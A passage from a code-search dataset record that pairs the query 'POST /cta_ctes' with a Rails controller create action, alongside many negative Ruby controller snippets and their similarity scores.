"0.5358605",
"0.5358303",
"0.5352071",
"0.5338207",
"0.5324533",
"0.53236586",
"0.53218645",
"0.5310473",
"0.5296919",
"0.5289982",
"0.5283914",
"0.5274837",
"0.52608764",
"0.52572644",
"0.52533543",
"0.52369624",
"0.5236817",
"0.5235865",
"0.5198325",
"0.5190692",
"0.51886",
"0.51876575",
"0.5185361",
"0.5181275",
"0.51794386",
"0.51785564",
"0.51783776",
"0.51719344",
"0.5161904",
"0.51579654",
"0.51565754",
"0.51486605",
"0.5146585",
"0.51388323",
"0.5136257",
"0.51361006",
"0.51336396",
"0.5130265",
"0.5124619",
"0.5123764",
"0.5120004",
"0.5105235",
"0.5104995",
"0.510164",
"0.50972795",
"0.5096977",
"0.50967026",
"0.5096263",
"0.509127",
"0.50855374",
"0.5077194"
] |
0.0
|
-1
|
POST /cta_ctes POST /cta_ctes.json
|
def create
@cta_cte = CtaCte.new(cta_cte_params)
respond_to do |format|
if @cta_cte.save
format.html { redirect_to @cta_cte, notice: 'Se creo correctamente.' }
format.json { render :show, status: :created, location: @cta_cte }
else
format.html { render :new }
format.json { render json: @cta_cte.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @cta = Cta.new(cta_params)\n\n respond_to do |format|\n if @cta.save\n format.html { redirect_to @cta, notice: 'cta was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cta }\n else\n format.html { render action: 'new' }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cta_params\n params.require(:cta).permit(:cta1_header, :cta1_caption, :cta1_url, :cta1_button, :cta2_header, :cta2_caption, :cta2_url, :cta2_button, :cta3_header, :cta3_caption, :cta3_url, :cta3_button)\n end",
"def cta_cte_params\n params.require(:cta_cte).permit(:matriculacion_id, :nro_cta_cte)\n end",
"def set_cta_cte\n @cta_cte = CtaCte.find(params[:id])\n end",
"def create\n @ct = Ct.new(ct_params)\n\n respond_to do |format|\n if @ct.save\n format.html { redirect_to @ct, notice: 'Ct was successfully created.' }\n format.json { render :show, status: :created, location: @ct }\n else\n format.html { render :new }\n format.json { render json: @ct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_cta\n @cta = cta.find(params[:id])\n end",
"def index\n @cta_ctes = CtaCte.all\n end",
"def create\n @cfct = Cfct.new(cfct_params)\n\n respond_to do |format|\n if @cfct.save\n format.html { redirect_to @cfct, notice: 'Cfct was successfully created.' }\n format.json { render :show, status: :created, location: @cfct }\n else\n format.html { render :new }\n format.json { render json: @cfct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cto = Cto.new(cto_params)\n\n respond_to do |format|\n if @cto.save\n format.html { redirect_to @cto, notice: 'Cto was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cto }\n else\n format.html { render action: 'new' }\n format.json { render json: @cto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend",
"def create\n @tccapi = Tccapi.new(tccapi_params)\n\n respond_to do |format|\n if @tccapi.save\n format.html { redirect_to @tccapi, notice: 'Tccapi was successfully created.' }\n format.json { render :show, status: :created, location: @tccapi }\n else\n format.html { render :new }\n format.json { render json: @tccapi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_tobacco_cessation(options={})\n options = {\n access_token: options[:access_token],\n tobacco_cessation: {\n cigarettes_allowed: options[:cigarettes_allowed],\n cigarettes_smoked: options[:cigarettes_smoked],\n cravings: options[:cravings],\n last_smoked: options[:last_smoked],\n timestamp: options[:timestamp],\n source: options[:source]\n }\n }\n\n response = post(\"/#{Validic.api_version}/tobacco_cessation.json\", options)\n response if response\n end",
"def create\n @cotact = Cotact.new(cotact_params)\n\n respond_to do |format|\n if @cotact.save\n format.html { redirect_to @cotact, notice: 'Cotact was successfully created.' }\n format.json { render :show, status: :created, location: @cotact }\n else\n format.html { render :new }\n format.json { render json: @cotact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cta_cte.update(cta_cte_params)\n format.html { redirect_to @cta_cte, notice: 'Cta cte was successfully updated.' }\n format.json { render :show, status: :ok, location: @cta_cte }\n else\n format.html { render :edit }\n format.json { render json: @cta_cte.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @cta = Cta.all\n end",
"def create\n @cerc = Cerc.new(params[:cerc])\n\n if @cerc.save\n render json: @cerc, status: :created, location: @cerc\n else\n render json: @cerc.errors, status: :unprocessable_entity\n end\n end",
"def create\n @cpt = Cpt.new(cpt_params)\n\n respond_to do |format|\n if @cpt.save\n format.html { redirect_to @cpt, notice: 'Cpt was successfully created.' }\n format.json { render :show, status: :created, location: @cpt }\n else\n format.html { render :new }\n format.json { render json: @cpt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @cta_cte.destroy\n respond_to do |format|\n format.html { redirect_to cta_ctes_url, notice: 'Cta cte was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def cto_params\n params.require(:cto).permit(:cto)\n end",
"def create\n @taco = Taco.new(taco_params)\n\n respond_to do |format|\n if @taco.save\n format.html { redirect_to @taco, notice: 'Taco was successfully created.' }\n format.json { render :show, status: :created, location: @taco }\n else\n format.html { render :new }\n format.json { render json: @taco.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @atccode = Atccode.new(params[:atccode])\n\n respond_to do |format|\n if @atccode.save\n format.html { redirect_to @atccode, :notice => 'Atccode was successfully created.' }\n format.json { render :json => @atccode, :status => :created, :location => @atccode }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @atccode.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @trac = Trac.new(trac_params)\n\n respond_to do |format|\n if @trac.save\n format.html { redirect_to @trac, notice: 'Trac was successfully created.' }\n format.json { render :show, status: :created, location: @trac }\n else\n format.html { render :new }\n format.json { render json: @trac.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cta_url(cta)\n orzoro_cta_url(cta)\n end",
"def ct_params\n params.require(:ct).permit(:title, :name, :description, :url)\n end",
"def create\n @affiliate_ctum = Affiliate::Ctum.new(params[:affiliate_ctum])\n\n respond_to do |format|\n if @affiliate_ctum.save\n format.html { redirect_to @affiliate_ctum, notice: 'Ctum was successfully created.' }\n format.json { render json: @affiliate_ctum, status: :created, location: @affiliate_ctum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @affiliate_ctum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def do_coaps_posted_03\n # get the Base64 of the incoming signed request\n body = IO.read(\"spec/files/vr_00-D0-E5-F2-00-03.vrq\")\n\n env = Hash.new\n env[\"SSL_CLIENT_CERT\"] = cbor_clientcert_03\n env[\"HTTP_ACCEPT\"] = \"application/voucher-cose+cbor\"\n env[\"CONTENT_TYPE\"] = \"application/voucher-cose+cbor\"\n\n $FAKED_TEMPORARY_KEY = temporary_key\n post '/e/rv', :params => body, :headers => env\n end",
"def create\n @cict = Cict.new(cict_params)\n\n respond_to do |format|\n if @cict.save\n format.html { redirect_to @cict, notice: 'Cict was successfully created.' }\n format.json { render :show, status: :created, location: @cict }\n else\n format.html { render :new }\n format.json { render json: @cict.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tcredito = Tcredito.new(tcredito_params)\n\n respond_to do |format|\n if @tcredito.save\n format.html { redirect_to @tcredito, notice: 'Tcredito was successfully created.' }\n format.json { render :show, status: :created, location: @tcredito }\n else\n format.html { render :new }\n format.json { render json: @tcredito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @cta.destroy\n respond_to do |format|\n format.html { redirect_to cta_url }\n format.json { head :no_content }\n end\n end",
"def create\n @concert = Concert.new(concert_params)\n\n respond_to do |format|\n if @concert.save\n @concert.create_activity :create, owner: current_user\n format.html { redirect_to @concert, notice: 'Concert was successfully created.' }\n format.json { render :show, status: :created, location: @concert }\n else\n format.html { render :new }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @cta = Cta.find(params[:id])\n @cta.destroy\n\n respond_to do |format|\n format.html { redirect_to ctas_url }\n format.json { head :no_content }\n end\n end",
"def api_transactions_command(transfer_json_data, customer_id = ENV['CIRCLE_CUSTOMER_ID'], customer_session_token = ENV['CIRCLE_CUSTOMER_SESSION_TOKEN'], circle_bank_account_id = ENV['CIRCLE_BANK_ACCOUNT_ID'])\n btc_transfer_json_data = transfer_json_data.to_json\n content_length = btc_transfer_json_data.length\n\n api_url = \"https://www.circle.com/api/v2/customers/#{customer_id}/accounts/#{circle_bank_account_id}/transactions\"\n\n path_header = \"/api/v2/customers/#{customer_id}/accounts/#{circle_bank_account_id}/transactions\"\n\n curl = Curl::Easy.http_post(api_url, btc_transfer_json_data) do |http|\n http.headers['host'] = 'www.circle.com'\n http.headers['method'] = 'POST'\n http.headers['path'] = path_header\n http.headers['scheme'] = 'https'\n http.headers['version'] = 'HTTP/1.1'\n http.headers['accept'] = 'application/json, text/plain, */*'\n http.headers['accept-encoding'] = 'gzip,deflate'\n http.headers['accept-language'] = 'en-US,en;q=0.8'\n http.headers['content-length'] = content_length\n http.headers['content-type'] = 'application/json;charset=UTF-8'\n http.headers['cookie'] = circle_cookie\n http.headers['origin'] = 'https://www.circle.com'\n http.headers['referer'] = \"https://www.circle.com/send/confirm\"\n http.headers['user-agent'] = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36\"\n http.headers['x-app-id'] = 'angularjs'\n http.headers['x-app-version'] = \"0.0.1\"\n http.headers['x-customer-id'] = customer_id\n http.headers['x-customer-session-token'] = customer_session_token\n end\n\n json_data = ActiveSupport::Gzip.decompress(curl.body_str)\n parsed_json = JSON.parse(json_data)\n\n btc_transfer_response_status = parsed_json\n response_code = btc_transfer_response_status['response']['status']['code']\n if response_code == 0\n # puts 'Successful BTC tansfer!'\n # puts 'Transfer Details:'\n # puts btc_transfer_response_status\n else\n puts '** ERROR ** BTC Transfer Unsuccessful'\n puts 'Transfer Details:'\n puts btc_transfer_response_status\n end\n response_code\n end",
"def create\n @twallets_c = TwalletsC.new(twallets_c_params)\n\n respond_to do |format|\n if @twallets_c.save\n format.html { redirect_to @twallets_c, notice: 'Twallets c was successfully created.' }\n format.json { render :show, status: :created, location: @twallets_c }\n else\n format.html { render :new }\n format.json { render json: @twallets_c.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cadet = Cadet.new(params[:cadet])\n\n respond_to do |format|\n if @cadet.save\n format.html { redirect_to @cadet, notice: 'Cadet was successfully created.' }\n format.json { render json: @cadet, status: :created, location: @cadet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cadet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end",
"def create\n @certtest = Certtest.new(certtest_params)\n\n respond_to do |format|\n if @certtest.save\n format.html { redirect_to @certtest, notice: 'Certtest was successfully created.' }\n format.json { render :show, status: :created, location: @certtest }\n else\n format.html { render :new }\n format.json { render json: @certtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cec_complaint = CecComplaint.new(params[:cec_complaint])\n\n respond_to do |format|\n if @cec_complaint.save\n format.html { redirect_to @cec_complaint, notice: 'Cec complaint was successfully created.' }\n format.json { render json: @cec_complaint, status: :created, location: @cec_complaint }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cec_complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_gta_travel_channel_cta_log(channel_cta)\n GtaTravelChannelCtaLog.create(:gta_travel_channel_cta_id => channel_cta.id, :cta => channel_cta.cta)\n end",
"def create\n @crate = Crate.new(crate_params)\n\n respond_to do |format|\n if @crate.save\n format.html { redirect_to tenant_crates_path(@tenant), notice: 'Crate was successfully created.' }\n format.json { render :show, status: :created, location: @crate }\n else\n format.html { render :new }\n format.json { render json: @crate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = Trip.new(trip_params)\n authorize @trip\n @trip.submitter = current_account.accountable\n\n\n @trip.estimated_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @trip.destination\n req.expense_type = 'estimated'\n end\n end\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to home_index_path, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ct\n state[\"ct\"]\n end",
"def create\n @tobacco = Tobacco.new(tobacco_params)\n\n respond_to do |format|\n if @tobacco.save\n format.html { redirect_to @tobacco, notice: 'Tobacco was successfully created.' }\n format.json { render :show, status: :created, location: @tobacco }\n else\n format.html { render :new }\n format.json { render json: @tobacco.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @t_complaint = TComplaint.new(t_complaint_params)\n\n respond_to do |format|\n if @t_complaint.save\n format.html { redirect_to @t_complaint, notice: 'T complaint was successfully created.' }\n format.json { render :show, status: :created, location: @t_complaint }\n else\n format.html { render :new }\n format.json { render json: @t_complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @concert = @theater.concerts.new(concert_params)\n\n respond_to do |format|\n if @concert.save\n format.html { redirect_to @concert, notice: 'Concert was successfully created.' }\n #TODO localise the previous string\n format.json { render :show, status: :created, location: @concert }\n else\n format.html { render :new }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cet = Cet.new(cet_params)\n\n respond_to do |format|\n if @cet.save\n format.html { redirect_to @cet, notice: 'Cet was successfully created.' }\n format.json { render :show, status: :created, location: @cet }\n else\n format.html { render :new }\n format.json { render json: @cet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ca = Ca.new(params[:ca])\n\n respond_to do |format|\n if @ca.save\n format.html { redirect_to @ca, notice: 'Ca was successfully created.' }\n format.json { render json: @ca, status: :created, location: @ca }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def do_coaps_posted_02\n # get the Base64 of the incoming signed request\n body = IO.read(\"spec/files/vr_00-D0-E5-F2-00-02.vrq\")\n\n env = Hash.new\n env[\"SSL_CLIENT_CERT\"] = cbor_clientcert_02\n env[\"HTTP_ACCEPT\"] = \"application/voucher-cose+cbor\"\n env[\"CONTENT_TYPE\"] = \"application/voucher-cose+cbor\"\n\n $FAKED_TEMPORARY_KEY = temporary_key\n post '/e/rv', :params => body, :headers => env\n end",
"def create\n @ccosto = Ccosto.new(ccosto_params)\n\n respond_to do |format|\n if @ccosto.save\n format.html { redirect_to @ccosto, notice: 'Ccosto was successfully created.' }\n format.json { render :show, status: :created, location: @ccosto }\n else\n format.html { render :new }\n format.json { render json: @ccosto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @acct_transaction = AcctTransaction.new(acct_transaction_params)\n\n respond_to do |format|\n if @acct_transaction.save\n format.html { redirect_to @acct_transaction, notice: 'Acct transaction was successfully created.' }\n format.json { render :show, status: :created, location: @acct_transaction }\n else\n format.html { render :new }\n format.json { render json: @acct_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @takipci = Takipci.new(takipci_params)\n\n respond_to do |format|\n if @takipci.save\n format.html { redirect_to @takipci, notice: 'Takipci was successfully created.' }\n format.json { render :show, status: :created, location: @takipci }\n else\n format.html { render :new }\n format.json { render json: @takipci.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_to_cc(data)\n post_args = { \n 'js_code' => data[\"code\"],\n 'compilation_level' => data[\"level\"],\n 'output_format' => data[\"format\"],\n 'output_info' => data[\"info\"]\n }\n\n if $debug\n puts \"#DEBUG post_args \\n\"\n p post_args\n puts \"\\n\"\n end\n\n # send the request\n resp, data = Net::HTTP.post_form(URI.parse(GOOGLE_SERVICE_ADDRESS), post_args)\n end",
"def create\n @tecido = Tecido.new(tecido_params)\n\n respond_to do |format|\n if @tecido.save\n format.html { redirect_to @tecido, notice: 'Tecido was successfully created.' }\n format.json { render :show, status: :created, location: @tecido }\n else\n format.html { render :new }\n format.json { render json: @tecido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @csp = Csp.new(csp_params)\n\n respond_to do |format|\n if @csp.save\n format.html { redirect_to @csp, notice: 'Csp was successfully created.' }\n format.json { render :show, status: :created, location: @csp }\n else\n format.html { render :new }\n format.json { render json: @csp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @concert = Concert.new(concert_params)\n\n respond_to do |format|\n if @concert.save\n format.html { redirect_to @concert, notice: 'Concert was successfully created.' }\n format.json { render :show, status: :created, location: @concert }\n else\n format.html { render :new }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @concert = Concert.new(concert_params)\n\n respond_to do |format|\n if @concert.save\n format.html { redirect_to @concert, notice: 'Concert was successfully created.' }\n format.json { render :show, status: :created, location: @concert }\n else\n format.html { render :new }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @citacao = Citacao.new(citacao_params)\n\n respond_to do |format|\n if @citacao.save\n format.html { redirect_to @citacao, notice: 'Citacao was successfully created.' }\n format.json { render action: 'show', status: :created, location: @citacao }\n else\n format.html { render action: 'new' }\n format.json { render json: @citacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:cta][:workflow_status] = 0\n UserGroup.new\n @cta = Cta.new(params[:cta])\n ci_relation = CtaRelation.new(name: 'ci', group_type: 2, cta_id: @cta.id)\n cci_relation = CtaRelation.new(name: 'cci', group_type: 2, cta_id: @cta.id)\n ci_relation.save\n cci_relation.save\n params[:ci_users].each do |p|\n ci_relation.users << User.find(p)\n end\n params[:cci_users].each do |p|\n cci_relation.users << User.find(p)\n end\n ci_relation.save\n cci_relation.save\n\n respond_to do |format|\n if @cta.save\n format.html { redirect_to @cta, notice: 'Cta was successfully created.' }\n format.json { render json: @cta, status: :created, location: @cta }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @template_cate = Templates::Cate.new(template_cate_params)\n\n respond_to do |format|\n if @template_cate.save\n format.html { redirect_to @template_cate, notice: 'Cate was successfully created.' }\n format.json { render action: 'show', status: :created, location: @template_cate }\n else\n format.html { render action: 'new' }\n format.json { render json: @template_cate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testimonial = Testimonial.new(testimonial_params)\n @testimonial.tenant = current_user.tenant\n respond_to do |format|\n if @testimonial.save\n format.html { redirect_to tenant_path(current_user.tenant), notice: 'Thank you for your feedback!' }\n format.json { render :show, status: :created, location: @testimonial }\n else\n format.html { render :new }\n format.json { render json: @testimonial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ticket_transcation = TicketTranscation.new(ticket_transcation_params)\n\n respond_to do |format|\n if @ticket_transcation.save\n format.html { redirect_to @ticket_transcation, notice: 'Ticket transcation was successfully created.' }\n format.json { render :show, status: :created, location: @ticket_transcation }\n else\n format.html { render :new }\n format.json { render json: @ticket_transcation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @travel_companion = TravelCompanion.new(travel_companion_params)\n\n respond_to do |format|\n if @travel_companion.save\n format.html { redirect_to @travel_companion, notice: 'Travel companion was successfully created.' }\n format.json { render :show, status: :created, location: @travel_companion }\n else\n format.html { render :new }\n format.json { render json: @travel_companion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_channel_cta_log(channel_cta)\n ChannelCtaLog.create(:channel_cta_id => channel_cta.id, :cta => channel_cta.cta)\n end",
"def create\n # TODO 既存 team を含めて保存する場合は認証に対応させる\n @concert = Concert.new(concert_savable_params)\n\n if @concert.save\n render :show, status: :created\n else\n render json: @concert.errors, status: :unprocessable_entity\n end\n end",
"def create\n @capex = Capex.new(capex_params)\n\n respond_to do |format|\n if @capex.save\n format.html { redirect_to @capex, notice: 'Capex was successfully created.' }\n format.json { render action: 'show', status: :created, location: @capex }\n else\n format.html { render action: 'new' }\n format.json { render json: @capex.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ca = Ca.new(ca_params)\n\n respond_to do |format|\n if @ca.save\n format.html { redirect_to @ca, notice: 'Ca was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ca }\n else\n format.html { render action: 'new' }\n format.json { render json: @ca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cof = Cof.new(cof_params)\n\n respond_to do |format|\n if @cof.save\n format.html { redirect_to @cof, notice: 'Cof was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cof }\n else\n format.html { render action: 'new' }\n format.json { render json: @cof.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @contest = Contest.new(params[:contest])\n @contest.contractor_id = current_user.id\n \n respond_to do |format|\n if @contest.save\n format.html { redirect_to @contest, :notice => 'Contest was successfully created.' }\n format.json { render :json => @contest, :status => :created, :location => @contest }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @contest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cta.update(cta_params)\n format.html { redirect_to @cta, notice: 'cta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = Trip.new(trip_params)\n @trip.category_id = params[:category_id]\n @trip.author = current_user\n @categories = Category.all.map{|c| [ c.name, c.id ] }\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, notice: \"L'itinéraire a été crée.\" }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cetegory = Cetegory.new(cetegory_params)\n\n respond_to do |format|\n if @cetegory.save\n format.html { redirect_to @cetegory, notice: 'Cetegory was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cetegory }\n else\n format.html { render action: 'new' }\n format.json { render json: @cetegory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def concert_params\n params.require(:concert).permit(:title, :description, :cdatetime, :location_name, :ccity, :buy_tickets_website)\n end",
"def create\n @caso = Caso.new(caso_params)\n\n respond_to do |format|\n if @caso.save\n format.html { redirect_to @caso, notice: 'Caso was successfully created.' }\n format.json { render :show, status: :created, location: @caso }\n else\n format.html { render :new }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cocktail = Cocktailt.new(cocktail_params)\n @cocktail.save\n \n redirect_to cocktail_path(@cocktail)\n end",
"def create\n @contrac_establishment = ContracEstablishment.new(contrac_establishment_params)\n\n respond_to do |format|\n if @contrac_establishment.save\n format.html { redirect_to @contrac_establishment, notice: 'Contrac establishment was successfully created.' }\n format.json { render :show, status: :created, location: @contrac_establishment }\n else\n format.html { render :new }\n format.json { render json: @contrac_establishment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cotizacione = Cotizacione.new(cotizacione_params)\n\n respond_to do |format|\n if @cotizacione.save\n format.html { redirect_to @cotizacione, notice: 'Cotizacione was successfully created.' }\n format.json { render :show, status: :created, location: @cotizacione }\n else\n format.html { render :new }\n format.json { render json: @cotizacione.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cfct_params\n params.require(:cfct).permit(:customfield_id, :customtemplate_id)\n end",
"def concert_params\n params.require(:concert).permit(:concert_name, :source, :done, :image, :tm_id, :local_date, :date, :timezone, :venue_id, :origin)\n end",
"def create\n @complaint = Complaint.new(complaint_params)\n @complaint.customer_id = current_user.customer_id\n @complaint.region_id = current_user.customer.region_id\n\n if @complaint.save\n render json: @complaint, status: :created, location: api_v1_complaint_url(@complaint)\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end",
"def create\n @contestant = Contestant.new(contestant_params)\n\n \n if @contestant.save\n render json: @contestant\n else\n render json: @contestant.errors\n end\n \n end",
"def create\n @cp_change = CpChange.new(cp_change_params)\n\n if @cp_change.save\n render json: @cp_change, status: :created, location: @cp_change\n else\n render json: @cp_change.errors, status: :unprocessable_entity\n end\n end",
"def postTransactionCancelled( transaction_id)\n params = Hash.new\n params['transaction_id'] = transaction_id\n return doCurl(\"post\",\"/transaction/cancelled\",params)\n end",
"def set_ct\n @ct = Ct.find(params[:id])\n end",
"def create\n \n @categorias_tipo = CatTipo.new(params[:cat_tipo])\n\n\t\trespond_to do |format|\n\t\t\tif @categorias_tipo.save\n \t\t\tcategories = @categorias_tipo.update_attributes(:tipo_acc_ids =>params[:tipo_accs])\n\t\t\t\t@categorias_tipo.update_attributes(:estado_ids =>params[:estados])\n\t\t\t\t\n\t\t\t\n\n format.html { redirect_to cat_tipos_path, notice: 'OK' }\n format.json { render json: @categorias_tipo, status: :created, location: @categorias_tipo }\n\t\t\telse\n format.html { render action: \"new\" }\n format.json { render json: @categorias_tipo.errors, status: :unprocessable_entity }\n \tend\t\n\t\tend\n\tend",
"def mycometer_coc_params\n params.require(:mycometer_coc).permit(:date, :turnaround, :mold_air, :building_type, :sampling_method, :test_unit, :ambient_temp, :reaction_time, :liters_minute, :duration, :job_type, :cli_type, :job_id, :user_id)\n end",
"def index\n @ctos = Cto.all\n end",
"def create\n @cso = Cso.new(params[:cso])\n\n respond_to do |format|\n if @cso.save\n format.html { redirect_to @cso, notice: 'Cso was successfully created.' }\n format.json { render json: @cso, status: :created, location: @cso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def astro_curl(url, params)\n AstroPay::Curl.post(url, params)\n end",
"def create\n @xrf_coc = XrfCoc.new(xrf_coc_params)\n @xrf_coc.date = Time.now\n\n respond_to do |format|\n if @xrf_coc.save\n # format.html { redirect_to @xrf_coc, notice: 'Xrf coc was successfully created.' }\n format.html { redirect_to xrf_coc_path(@xrf_coc) }\n format.json { render :show, status: :created, location: @xrf_coc }\n else\n format.html { render :new }\n format.json { render json: @xrf_coc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ct=(value)\n set(:ct => value)\n end",
"def create\n @tyc_company = Tyc::Company.new(tyc_company_params)\n\n respond_to do |format|\n if @tyc_company.save\n format.html { redirect_to @tyc_company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @tyc_company }\n else\n format.html { render :new }\n format.json { render json: @tyc_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @cfct.destroy\n respond_to do |format|\n format.html { redirect_to cfcts_url }\n format.json { head :no_content }\n end\n end",
"def create\n @tnpsc = Tnpsc.new(tnpsc_params)\n\n respond_to do |format|\n if @tnpsc.save\n format.html { redirect_to @tnpsc, notice: 'Tnpsc was successfully created.' }\n format.json { render :show, status: :created, location: @tnpsc }\n else\n format.html { render :new }\n format.json { render json: @tnpsc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_tenants_for_circle(args = {}) \n get(\"/tenantcircles.json/tenants\", args)\nend",
"def create\n @cadd = Cadd.new(params[:cadd])\n\n respond_to do |format|\n if @cadd.save\n format.html { redirect_to(@cadd, :notice => 'Cadd was successfully created.') }\n format.xml { render :xml => @cadd, :status => :created, :location => @cadd }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cadd.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @jc_term = JcTerm.new(params[:jc_term])\n\n respond_to do |format|\n if @jc_term.save\n format.html { redirect_to @jc_term, :notice => 'JC term was successfully created.' }\n format.json { render :json => @jc_term, :status => :created, :location => @jc_term }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @jc_term.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @ct.destroy\n respond_to do |format|\n format.html { redirect_to cts_url, notice: 'Ct was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @objeto = Cita.new(cita_params)\n\n respond_to do |format|\n if @objeto.save\n format.html { redirect_to @objeto, notice: \"Cita was successfully created.\" }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\n begin\n charge = Stripe::Charge.create({\n amount: params[:amount],\n currency: 'sgd',\n customer: params[:customer_id],\n source: params[:card_id]\n })\n\n json_response(charge, :created)\n\n rescue Stripe::InvalidRequestError => exception\n response = Hash.new\n response[:error] = exception.message\n\n json_response(response, :bad_request)\n end\n end",
"def create\n @controltnytt = Controltnytt.new(controltnytt_params)\n\n respond_to do |format|\n if @controltnytt.save\n format.html { redirect_to @controltnytt, notice: 'Controltnytt was successfully created.' }\n format.json { render :show, status: :created, location: @controltnytt }\n else\n format.html { render :new }\n format.json { render json: @controltnytt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @court = Court.new(court_params)\n\n respond_to do |format|\n if @court.save\n format.html { redirect_to @court, notice: 'Court was successfully created.' }\n format.json { render :show, status: :created, location: @court }\n else\n format.html { render :new }\n format.json { render json: @court.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6988885",
"0.68833303",
"0.66639024",
"0.6642157",
"0.6459567",
"0.62548745",
"0.62467664",
"0.6194473",
"0.60483253",
"0.58805376",
"0.58160996",
"0.5760595",
"0.57507014",
"0.57424766",
"0.5725609",
"0.57031035",
"0.5630633",
"0.5601686",
"0.54903114",
"0.5482138",
"0.5475396",
"0.5473496",
"0.5452244",
